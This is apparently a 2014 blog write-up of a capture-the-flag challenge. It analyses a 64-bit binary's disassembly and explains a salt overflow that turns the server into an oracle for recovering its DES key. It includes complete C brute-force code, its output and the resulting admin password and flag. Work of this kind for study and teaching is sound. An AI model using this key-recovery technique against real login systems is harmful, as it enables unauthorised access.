Friday, October 24, 2014

ECTF 2014 - SEDDIT - Exploit 400

Played ECTF with some of friends in Team BADSECTOR. Exploit 400 was a Linux 64-bit ELF protected with NX, partial RELRO and canary. There was buffer overflows everywhere as the __isoc99_scanf() function called now and then, reads data without any bound check. But the issue was stack canaries, its random everytime we make a connection. So bruteforce was not possible. There was information leak available in MakePost option, by setting the PostType to Link Only.
.text:0000000000400E88 mov     eax, offset aD  ; "%d"
.text:0000000000400E8D lea     rdx, [rbp+PostType]
.text:0000000000400E91 mov     rsi, rdx
.text:0000000000400E94 mov     rdi, rax
.text:0000000000400E97 mov     eax, 0
.text:0000000000400E9C call    ___isoc99_scanf
.text:0000000000400EA1 mov     eax, [rbp+PostType]
.text:0000000000400EA4 test    eax, eax
.text:0000000000400EA6 jz      short LinkOnly

.text:0000000000400F35 lea     rdx, [rbp+ContentBuffer]
.text:0000000000400F39 mov     rsi, rdx
.text:0000000000400F3C mov     rdi, rax        ; format
.text:0000000000400F3F mov     eax, 0
.text:0000000000400F44 call    _printf
Using this uninitialized contents of ContentBuffer could be leaked. But NUL bytes in stack would prevent us from leaking much of the useful info easily. I spent lot of time working along this path.

Lets see what the program actually does:

[*] CreateAccount option - Supply username and salt, DES encryption is done on the username using the supplied salt and a secret key from key file. This encrypted username is the password
[*] Login option - Supply the username and DES generated password. Also there is separate login for admin which will give us the flag
[*] MakePost - We saw this earlier
[*] Exit

CreateAccount option was interesting. It reads username into stack and salt into .bss buffer. Since GOT is located in lower address than .bss due to partial RELRO, we cannot overflow into GOT. Again, getting RCE looked difficult.

After this I analyzed the Encrypt() function at 0x0400A04. It does the following:

[*] Opens key file
[*] Checks the length of user supplied salt. If len(salt) < 7, pad with a till len(salt) == 7
[*] Then it copies salt into stack at [RBP-0x20] and finds the index of NUL byte in salt
[*] This index is used as pointer into buffer in stack to read() 7 bytes of data from key file
[*] Then NULL is moved to [RBP-0x12]
[*] So total length of password string could be maximum of 14 bytes

So the issue with this mechanism is, we could control the number of bytes from key file to be used for encryption. Say I supply a 13 byte salt [Only a max of 7 byte salt is expected but we can overflow], only a single byte in key file would be used for encryption process because the maximum size of salt+key == 14.

For admin login, 64 byte salt memory is cleared. Then 7 byte pad of a is added and 7 byte key is concatenated to compute the password. If we could find the contents of key file, we could find the admin password.

To find the contents of key file, we can use the remote service as oracle. Supply 7 different length of salt values say 13, 12, 11, 10, 9, 8 and 7 [aaaaaaaaaaaaa, aaaaaaaaaaaa, aaaaaaaaaaa, aaaaaaaaaa, aaaaaaaaa, aaaaaaaa, aaaaaaa] . Also keep the username fixed. For each of this pair, the remote service will generate a password. This 7 values could be used to retrieve the key.

The idea is
[*] For salt of 13 byte, bruteforce the last byte to get the single byte used from key file. Now 1 byte of key is recovered
[*] Next use 12 byte of salt. With first byte of key already found, we could bruteforce a single 2nd byte of key

This way all 7 bytes of key could be recovered to compute the admin password. Below is the full code to do this:
#include <stdio.h>
#include <openssl/des.h>
#include <string.h>
#include <stdlib.h>

#define SALTLEN 7

/* gcc -o key key.c -l crypto */

/* Init passwords for overwritten salts */
char *password[] = 
{
    [0] = "50f88e127e97a38f", /* 13 byte salt */
    [1] = "b6960556480cff35", /* 12 byte salt */
    [2] = "6ce9ca9639f4c447", /* 11 byte salt */
    [3] = "bfa81cd3767d5c16", /* 10 byte salt */
    [4] = "7267b04756b63414", /* 09 byte salt */
    [5] = "aedb1eed82da7235", /* 08 byte salt */
    [6] = "d4f895d88b1a6d18", /* 07 byte salt */
};

char key[] = "aaaaaaaaaaaaaa";
unsigned char username[8] = "AAAAAAAA";
unsigned char admin[8] = "admin\x00\x00\x00"; /* PAD for 8 bytes */
int keysize = sizeof(key);

int main(int argc, char **argv)
{
    unsigned char output[8];
    DES_cblock key_block;
    DES_key_schedule key_schedule;
    char encbuffer[20];
    unsigned char key_byte;
    int salt_counter = 0;
    int index = 0;

    for(key_byte = 0; key_byte < 255; key_byte++)
    {
        key[keysize-2] = key_byte;  /* bruteforce last byte */
        DES_string_to_key(key, &key_block);
        DES_set_key(&key_block, &key_schedule);
        DES_ecb_encrypt(&username, &output, &key_schedule, DES_ENCRYPT);

        for(index = 0; index < 8; index++)
        {
            sprintf(&encbuffer[index*2], "%02x", output[index]);
        }

        if(strcmp(encbuffer, password[salt_counter]) == 0)
        {
            printf("Password [%s] = 0x%x\n", password[salt_counter], key_byte);
            salt_counter++;
            if (salt_counter == SALTLEN) break; 
            key_byte = 0; /* reset loop */
 
            /* update key */
            for(index = 0; index < keysize-2; index++)
            {
                key[index] = key[index+1];
            }       
        }
    }
    printf("Key = %s\n", key);

    /* Find admin password */
    DES_string_to_key(key, &key_block);
    DES_set_key(&key_block, &key_schedule);
    DES_ecb_encrypt(&admin, &output, &key_schedule, DES_ENCRYPT);

    for(index = 0; index < 8; index++)
    {
        sprintf(&encbuffer[index*2], "%02x", output[index]);
    }

    printf("Password = %s\n", encbuffer);
    return 0;
}
renorobert@ubuntu:/host/ECTF$ ./key
Password [50f88e127e97a38f] = 0x68
Password [b6960556480cff35] = 0x69
Password [6ce9ca9639f4c447] = 0x67
Password [bfa81cd3767d5c16] = 0x68
Password [7267b04756b63414] = 0x73
Password [aedb1eed82da7235] = 0x65
Password [d4f895d88b1a6d18] = 0x63
Key = aaaaaaahighsec
Password = 94140f8339377477
The content of the key file is highsec and flag for the challenge is flag{Encryption_is_Not_a_silver_bullet}